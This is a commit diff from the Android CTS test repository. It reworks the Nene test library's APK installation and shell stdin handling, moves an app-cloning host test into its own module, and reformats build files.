diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-03-15 18:57:55 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-03-15 18:57:55 +0000 |
commit | a85ecff24813854181f2380fdc21f37ef50854ce (patch) | |
tree | 149b4abc937f44c48169d1b83875daa691f932c2 | |
parent | 91f9548c323b8d7b081a22b7afe9427fe0dfd95f (diff) | |
parent | a06e0c12199c9928f45b904a040f19438a8bdc31 (diff) | |
download | cts-android12-mainline-sdkext-release.tar.gz |
Snap for 8303596 from a06e0c12199c9928f45b904a040f19438a8bdc31 to mainline-sdkext-releaseandroid-mainline-12.0.0_r109aml_sdk_311710000android12-mainline-sdkext-release
Change-Id: Idcf9f630e2740fd3ee27d29645b82518a6b80990
207 files changed, 7540 insertions, 2354 deletions
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java index af75f79466e..7966e20547e 100644 --- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java +++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java @@ -17,6 +17,11 @@ package com.android.bedstead.nene.packages; import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL; +import static android.content.pm.PackageInstaller.EXTRA_STATUS; +import static android.content.pm.PackageInstaller.EXTRA_STATUS_MESSAGE; +import static android.content.pm.PackageInstaller.STATUS_FAILURE; +import static android.content.pm.PackageInstaller.STATUS_SUCCESS; +import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL; import static android.os.Build.VERSION.SDK_INT; import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED; @@ -27,6 +32,7 @@ import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.os.Build; +import android.util.Log; import androidx.annotation.CheckResult; import androidx.annotation.Nullable; @@ -45,8 +51,6 @@ import com.android.bedstead.nene.utils.ShellCommandUtils; import com.android.bedstead.nene.utils.Versions; import com.android.compatibility.common.util.BlockingBroadcastReceiver; -import com.google.common.io.Files; - import java.io.File; import java.io.FileInputStream; import java.io.IOException; @@ -56,6 +60,7 @@ import java.util.HashSet; import java.util.Map; import java.util.Objects; import java.util.Set; +import java.util.stream.Collectors; /** * Test APIs relating to packages. @@ -207,13 +212,6 @@ public final class Packages { return install(user, loadBytes(apkFile)); } - User resolvedUser = user.resolve(); - - if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) { - throw new NeneException("Packages can not be installed in non-started users " - + "(Trying to install into user " + resolvedUser + ")"); - } - BlockingBroadcastReceiver broadcastReceiver = registerPackageInstalledBroadcastReceiver(user); @@ -265,111 +263,59 @@ public final class Packages { * <p>If the package is already installed, this will replace it. * * <p>If the package is marked testOnly, it will still be installed. + * + * <p>When running as an instant app, this will return null. On other versions it will return + * the installed package. */ public PackageReference install(UserReference user, byte[] apkFile) { if (user == null || apkFile == null) { throw new NullPointerException(); } - if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) { - return installPreS(user, apkFile); - } + try { + ShellCommand.builderForUser(user, "pm install") + .addOperand("-t") // Allow installing test apks + .addOperand("-r") // Replace existing apps + .addOption("-S", apkFile.length) // Install from stdin + .writeToStdIn(apkFile) + .validate(ShellCommandUtils::startsWithSuccess) + .execute(); + } catch (AdbException e) { + throw new NeneException("Error installing from instant app", e); + } - User resolvedUser = user.resolve(); + // Arbitrary sleep because the shell command doesn't block and we can't listen for + // the broadcast (instant app) + try { + Thread.sleep(10_000); + } catch (InterruptedException e) { + throw new NeneException("Interrupted while waiting for install", e); + } - if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) { - throw new NeneException("Packages can not be installed in non-started users " - + "(Trying to install into user " + resolvedUser + ")"); - } + return null; + } + @Nullable + private PackageReference installPreS(UserReference user, byte[] apkFile) { + // This is not in the try because if the install fails we don't want to await the broadcast BlockingBroadcastReceiver broadcastReceiver = registerPackageInstalledBroadcastReceiver(user); + + // We should install using stdin with the byte array try { - // Expected output "Success" ShellCommand.builderForUser(user, "pm install") - .addOption("-S", apkFile.length) - .addOperand("-r") - .addOperand("-t") + .addOperand("-t") // Allow installing test apks + .addOperand("-r") // Replace existing apps + .addOption("-S", apkFile.length) // Install from stdin .writeToStdIn(apkFile) .validate(ShellCommandUtils::startsWithSuccess) .execute(); - return waitForPackageAddedBroadcast(broadcastReceiver); } catch (AdbException e) { - throw new NeneException("Could not install from bytes for user " + user, e); - } finally { - broadcastReceiver.unregisterQuietly(); - } - - // TODO(scottjonathan): Re-enable this after we have a TestAPI which allows us to install - // testOnly apks -// BlockingBroadcastReceiver broadcastReceiver = -// registerPackageInstalledBroadcastReceiver(user); -// -// PackageManager packageManager = -// mTestApis.context().androidContextAsUser(user).getPackageManager(); -// PackageInstaller packageInstaller = packageManager.getPackageInstaller(); -// -// try { -// int sessionId; -// try(PermissionContext p = -// mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) { -// PackageInstaller.SessionParams sessionParams = -// new PackageInstaller.SessionParams(MODE_FULL_INSTALL); -// // TODO(scottjonathan): Enable installing test apps once there is a test -// // API for this -//// sessionParams.installFlags = -// sessionParams.installFlags | INSTALL_ALLOW_TEST; -// sessionId = packageInstaller.createSession(sessionParams); -// } -// -// PackageInstaller.Session session = packageInstaller.openSession(sessionId); -// try (OutputStream out = -// session.openWrite("NAME", 0, apkFile.length)) { -// out.write(apkFile); -// session.fsync(out); -// } -// -// try (BlockingIntentSender intentSender = BlockingIntentSender.create()) { -// try (PermissionContext p = -// mTestApis.permissions().withPermission(INSTALL_PACKAGES)) { -// session.commit(intentSender.intentSender()); -// session.close(); -// } -// -// Intent intent = intentSender.await(); -// if (intent.getIntExtra(EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE) -// != STATUS_SUCCESS) { -// throw new NeneException("Not successful while installing package. " -// + "Got status: " -// + intent.getIntExtra( -// EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE) -// + " exta info: " + intent.getStringExtra(EXTRA_STATUS_MESSAGE)); -// } -// } -// -// return waitForPackageAddedBroadcast(broadcastReceiver); -// } catch (IOException e) { -// throw new NeneException("Could not install package", e); -// } finally { -// broadcastReceiver.unregisterQuietly(); -// } - } - - private PackageReference installPreS(UserReference user, byte[] apkFile) { - // Prior to S we cannot pass bytes to stdin so we write it to a temp file first - File outputDir = mTestApis.context().instrumentedContext().getCacheDir(); - File outputFile = null; - try { - outputFile = File.createTempFile("tmp", ".apk", outputDir); - Files.write(apkFile, outputFile); - outputFile.setReadable(true, false); - return install(user, outputFile); - } catch (IOException e) { - throw new NeneException("Error when writing bytes to temp file", e); + throw new NeneException("Error installing package", e); } finally { - if (outputFile != null) { - outputFile.delete(); + if (broadcastReceiver != null) { + broadcastReceiver.unregisterQuietly(); } } } diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java index e61fed06c2d..3a624f33964 100644 --- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java +++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java @@ -83,10 +83,7 @@ public final class ShellCommandUtils { logCommand(command, allowEmptyOutput, stdInBytes); if (!Versions.meetsMinimumSdkVersionRequirement(S)) { - if (stdInBytes != null && stdInBytes.length > 0) { - throw new IllegalStateException("Cannot write to stdIn prior to S"); - } - return executeCommandPreS(command, allowEmptyOutput); + return executeCommandPreS(command, allowEmptyOutput, stdInBytes); } // TODO(scottjonathan): Add argument to force errors to stderr @@ -124,11 +121,7 @@ public final class ShellCommandUtils { logCommand(command, /* allowEmptyOutput= */ false, stdInBytes); if (!Versions.meetsMinimumSdkVersionRequirement(S)) { - if (stdInBytes != null && stdInBytes.length > 0) { - throw new IllegalStateException("Cannot write to stdIn prior to S"); - } - - return executeCommandForBytesPreS(command); + return executeCommandForBytesPreS(command, stdInBytes); } // TODO(scottjonathan): Add argument to force errors to stderr @@ -217,10 +210,14 @@ public final class ShellCommandUtils { } private static String executeCommandPreS( - String command, boolean allowEmptyOutput) throws AdbException { - ParcelFileDescriptor fdOut = uiAutomation().executeShellCommand(command); + String command, boolean allowEmptyOutput, byte[] stdIn) throws AdbException { + ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command); + ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX]; + ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX]; try { + writeStdInAndClose(fdIn, stdIn); + try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) { String out = new String(FileUtils.readInputStreamFully(fis)); @@ -242,10 +239,17 @@ public final class ShellCommandUtils { } } - private static byte[] executeCommandForBytesPreS(String command) throws AdbException { - ParcelFileDescriptor fdOut = uiAutomation().executeShellCommand(command); + // This is warned for executeShellCommandRw which did exist as TestApi + @SuppressWarnings("NewApi") + private static byte[] executeCommandForBytesPreS( + String command, byte[] stdInBytes) throws AdbException { + ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command); + ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX]; + ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX]; try { + writeStdInAndClose(fdIn, stdInBytes); + try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) { return FileUtils.readInputStreamFully(fis); } diff --git a/hostsidetests/appcloning/Android.bp b/hostsidetests/appcloning/Android.bp new file mode 100644 index 00000000000..f1ecc4be33b --- /dev/null +++ b/hostsidetests/appcloning/Android.bp @@ -0,0 +1,38 @@ +// Copyright (C) 2022 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +java_test_host { + name: "CtsAppCloningHostTest", + srcs: [ + "hostside/src/**/AppCloningHostTest.java", + "hostside/src/**/BaseHostTestCase.java", + ], + libs: [ + "cts-tradefed", + "tradefed", + "testng", + ], + // tag the module as cts a test artifact + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], + test_config: "AndroidTestAppCloning.xml", + data: [":CtsAppCloningTestApp"], +} diff --git a/hostsidetests/scopedstorage/AndroidTestAppCloning.xml b/hostsidetests/appcloning/AndroidTestAppCloning.xml index 03802f23886..8c882eb773a 100644 --- a/hostsidetests/scopedstorage/AndroidTestAppCloning.xml +++ b/hostsidetests/appcloning/AndroidTestAppCloning.xml @@ -1,29 +1,29 @@ <?xml version="1.0" encoding="utf-8"?> -<!-- Copyright (C) 2021 The Android Open Source Project - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. ---> +<!-- + ~ Copyright (C) 2022 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> <configuration description="Test for App cloning support with clone user profiles"> <option name="test-suite-tag" value="cts" /> <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> - <!-- TODO(b/169101565): change to secondary_user when fixed --> <!-- Clone user profile is meant to exist only alongside a real system user. It does not exist for a headless system user, or a secondary user --> <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" /> <test class="com.android.tradefed.testtype.HostTest" > - <option name="class" value="android.scopedstorage.cts.host.AppCloningHostTest" /> + <option name="class" value="com.android.cts.appcloning.AppCloningHostTest" /> </test> <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController"> diff --git a/hostsidetests/appcloning/OWNERS b/hostsidetests/appcloning/OWNERS new file mode 100644 index 00000000000..7cc93143726 --- /dev/null +++ b/hostsidetests/appcloning/OWNERS @@ -0,0 +1,6 @@ +# Bug component: 1029024 +saumyap@google.com +maco@google.com +dagarhimanshu@google.com +sarup@google.com +sailendrabathi@google.com
\ No newline at end of file diff --git a/hostsidetests/appcloning/TEST_MAPPING b/hostsidetests/appcloning/TEST_MAPPING new file mode 100644 index 00000000000..f512df95a6c --- /dev/null +++ b/hostsidetests/appcloning/TEST_MAPPING @@ -0,0 +1,7 @@ +{ + "presubmit": [ + { + "name": "CtsAppCloningHostTest" + } + ] +}
\ No newline at end of file diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java index 9522731fe5d..ce7356c5966 100644 --- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java +++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java @@ -14,7 +14,7 @@ * limitations under the License. */ -package android.scopedstorage.cts.host; +package com.android.cts.appcloning; import static com.google.common.truth.Truth.assertThat; @@ -34,36 +34,39 @@ import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; -import java.util.ArrayList; -import java.util.List; - /** * Runs the AppCloning tests. */ @RunWith(DeviceJUnit4ClassRunner.class) @AppModeFull public class AppCloningHostTest extends BaseHostTestCase { - private static final String APP_A = "CtsScopedStorageTestAppA.apk"; - private static final String APP_A_PACKAGE = "android.scopedstorage.cts.testapp.A.withres"; + + private static final String APP_A = "CtsAppCloningTestApp.apk"; + private static final String APP_A_PACKAGE = "com.android.cts.appcloningtestapp"; + private static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider"; private static final int CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS = 20000; + private String mCloneUserId; private ContentProviderHandler mContentProviderHandler; - @Before public void setup() throws Exception { assumeFalse("Device is in headless system user mode", isHeadlessSystemUserMode()); assumeTrue(isAtLeastS()); assumeFalse("Device uses sdcardfs", usesSdcardFs()); + // create clone user String output = executeShellCommand( "pm create-user --profileOf 0 --user-type android.os.usertype.profile.CLONE " + "testUser"); - mCloneUserId = output.substring(output.lastIndexOf(' ') + 1).replaceAll("[^0-9]", ""); + mCloneUserId = output.substring(output.lastIndexOf(' ') + 1).replaceAll("[^0-9]", + ""); assertThat(mCloneUserId).isNotEmpty(); + CommandResult out = executeShellV2Command("am start-user -w %s", mCloneUserId); assertThat(out.getStderr()).isEmpty(); + mContentProviderHandler = new ContentProviderHandler(getDevice()); mContentProviderHandler.setUp(); } @@ -74,6 +77,8 @@ public class AppCloningHostTest extends BaseHostTestCase { if (mContentProviderHandler != null) { mContentProviderHandler.tearDown(); } + + // remove the clone user executeShellCommand("pm remove-user %s", mCloneUserId); } @@ -92,7 +97,8 @@ public class AppCloningHostTest extends BaseHostTestCase { eventually(() -> { // Wait for finish. assertThat(isSuccessful( - runContentProviderCommand("query", mCloneUserId, "/sdcard", ""))).isTrue(); + runContentProviderCommand("query", mCloneUserId, + "/sdcard", ""))).isTrue(); }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS); // Create a file on the clone user storage @@ -101,16 +107,19 @@ public class AppCloningHostTest extends BaseHostTestCase { eventually(() -> { // Wait for finish. assertThat(isSuccessful( - runContentProviderCommand("write", mCloneUserId, "/sdcard/testFile.txt", + runContentProviderCommand("write", mCloneUserId, + "/sdcard/testFile.txt", "< /sdcard/testFile.txt"))).isTrue(); }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS); // Check that the above created file exists on the clone user storage - out = runContentProviderCommand("query", mCloneUserId, "/sdcard/testFile.txt", ""); + out = runContentProviderCommand("query", mCloneUserId, + "/sdcard/testFile.txt", ""); assertThat(isSuccessful(out)).isTrue(); // Cleanup the created file - out = runContentProviderCommand("delete", mCloneUserId, "/sdcard/testFile.txt", ""); + out = runContentProviderCommand("delete", mCloneUserId, + "/sdcard/testFile.txt", ""); assertThat(isSuccessful(out)).isTrue(); } @@ -136,7 +145,6 @@ public class AppCloningHostTest extends BaseHostTestCase { } private boolean usesSdcardFs() throws Exception { - List<String> mounts = new ArrayList<>(); CommandResult out = executeShellV2Command("cat /proc/mounts"); assertThat(isSuccessful(out)).isTrue(); for (String line : out.getStdout().split("\n")) { @@ -147,6 +155,4 @@ public class AppCloningHostTest extends BaseHostTestCase { } return false; } - - } diff --git a/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java new file mode 100644 index 00000000000..3d301f1b7ca --- /dev/null +++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java @@ -0,0 +1,108 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.appcloning; + +import com.android.tradefed.device.DeviceNotAvailableException; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.device.NativeDevice; +import com.android.tradefed.log.LogUtil.CLog; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.tradefed.util.CommandResult; +import com.android.tradefed.util.CommandStatus; + + +abstract class BaseHostTestCase extends BaseHostJUnit4Test { + private int mCurrentUserId = NativeDevice.INVALID_USER_ID; + private static final String ERROR_MESSAGE_TAG = "[ERROR]"; + + protected String executeShellCommand(String cmd, Object... args) throws Exception { + return getDevice().executeShellCommand(String.format(cmd, args)); + } + + protected CommandResult executeShellV2Command(String cmd, Object... args) throws Exception { + return getDevice().executeShellV2Command(String.format(cmd, args)); + } + + protected boolean isPackageInstalled(String packageName, String userId) throws Exception { + return getDevice().isPackageInstalled(packageName, userId); + } + + // TODO (b/174775905) remove after exposing the check from ITestDevice. + protected boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException { + String result = getDevice() + .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim(); + return "true".equalsIgnoreCase(result); + } + + protected boolean isAtLeastS() throws DeviceNotAvailableException { + return getDevice().getApiLevel() >= 31 /* BUILD.VERSION_CODES.S */; + } + + protected static void eventually(ThrowingRunnable r, long timeoutMillis) { + long start = System.currentTimeMillis(); + + while (true) { + try { + r.run(); + return; + } catch (Throwable e) { + if (System.currentTimeMillis() - start < timeoutMillis) { + try { + Thread.sleep(100); + } catch (InterruptedException ignored) { + throw new RuntimeException(e); + } + } else { + throw new RuntimeException(e); + } + } + } + } + + protected int getCurrentUserId() throws Exception { + setCurrentUserId(); + + return mCurrentUserId; + } + + protected boolean isSuccessful(CommandResult result) { + if (!CommandStatus.SUCCESS.equals(result.getStatus())) { + return false; + } + String stdout = result.getStdout(); + if (stdout.contains(ERROR_MESSAGE_TAG)) { + return false; + } + String stderr = result.getStderr(); + return (stderr == null || stderr.trim().isEmpty()); + } + + private void setCurrentUserId() throws Exception { + if (mCurrentUserId != NativeDevice.INVALID_USER_ID) return; + + ITestDevice device = getDevice(); + mCurrentUserId = device.getCurrentUser(); + CLog.i("Current user: %d"); + } + + protected interface ThrowingRunnable { + /** + * Similar to {@link Runnable#run} but has {@code throws Exception}. + */ + void run() throws Exception; + } +} diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp b/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp new file mode 100644 index 00000000000..b3edfec5112 --- /dev/null +++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp @@ -0,0 +1,31 @@ +// Copyright (C) 2022 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CtsAppCloningTestApp", + defaults: ["cts_defaults"], + static_libs: [ + "androidx.test.rules", + "truth-prebuilt", + "cts-install-lib", + ], + srcs: ["src/**/*.java"], + sdk_version: "test_current", + target_sdk_version: "current", + min_sdk_version: "30", +} diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml b/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml new file mode 100644 index 00000000000..07d78a0ead2 --- /dev/null +++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml @@ -0,0 +1,32 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + ~ Copyright (C) 2022 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="com.android.cts.appcloningtestapp" + android:versionCode="1" + android:versionName="1.0" > + + <uses-sdk android:minSdkVersion="30" /> + + <application> + <uses-library android:name="android.test.runner" /> + </application> + + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="com.android.cts.appcloningtestapp" /> + +</manifest>
\ No newline at end of file diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java new file mode 100644 index 00000000000..46480f7cd78 --- /dev/null +++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java @@ -0,0 +1,25 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.appcloningtestapp; + +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +@RunWith(JUnit4.class) +public class AppCloningDeviceTest { + private static final String TAG = "AppCloningDeviceTest"; +} diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp index fcb20e829cd..9ab8a832ca3 100644 --- a/hostsidetests/appcompat/strictjavapackages/Android.bp +++ b/hostsidetests/appcompat/strictjavapackages/Android.bp @@ -33,6 +33,6 @@ java_test_host { test_suites: [ "cts", "general-tests", - "mts", + "mts-mainline-infra", ], } diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp index 689141f98e1..808a00d2c2a 100644 --- a/hostsidetests/scopedstorage/Android.bp +++ b/hostsidetests/scopedstorage/Android.bp @@ -25,8 +25,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppB", manifest: "ScopedStorageTestHelper/TestAppB.xml", @@ -36,8 +41,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppC", manifest: "ScopedStorageTestHelper/TestAppC.xml", @@ -47,8 +57,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppC30", manifest: "ScopedStorageTestHelper/TestAppC30.xml", @@ -58,8 +73,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts", "cts"], + test_suites: [ + "general-tests", + "mts", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppCLegacy", manifest: "ScopedStorageTestHelper/TestAppCLegacy.xml", @@ -69,8 +89,13 @@ android_test_helper_app { min_sdk_version: "28", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppDLegacy", manifest: "ScopedStorageTestHelper/TestAppDLegacy.xml", @@ -80,7 +105,11 @@ android_test_helper_app { min_sdk_version: "28", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } android_test_helper_app { @@ -92,8 +121,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppFileManagerBypassDB", manifest: "ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml", @@ -103,8 +137,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts", "cts"], + test_suites: [ + "general-tests", + "mts", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppSystemGalleryBypassDB", manifest: "ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml", @@ -114,8 +153,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts", "cts"], + test_suites: [ + "general-tests", + "mts", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppSystemGallery30BypassDB", manifest: "ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml", @@ -125,7 +169,11 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["general-tests", "mts", "cts"], + test_suites: [ + "general-tests", + "mts", + "cts", + ], } android_test_helper_app { @@ -150,9 +198,16 @@ android_test { name: "ScopedStorageTest", manifest: "AndroidManifest.xml", srcs: ["src/**/*.java"], - static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"], + static_libs: [ + "truth-prebuilt", + "cts-scopedstorage-lib", + ], compile_multilib: "both", - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], sdk_version: "test_current", target_sdk_version: "31", min_sdk_version: "30", @@ -161,40 +216,67 @@ android_test { ":CtsScopedStorageTestAppB", ":CtsScopedStorageTestAppC", ":CtsScopedStorageTestAppCLegacy", - ] + ], } android_test { name: "LegacyStorageTest", manifest: "legacy/AndroidManifest.xml", srcs: ["legacy/src/**/*.java"], - static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"], + static_libs: [ + "truth-prebuilt", + "cts-scopedstorage-lib", + ], compile_multilib: "both", - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], sdk_version: "test_current", target_sdk_version: "29", min_sdk_version: "30", java_resources: [ ":CtsScopedStorageTestAppA", - ] + ], } java_test_host { name: "CtsScopedStorageCoreHostTest", - srcs: [ + srcs: [ "host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java", - "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java" + 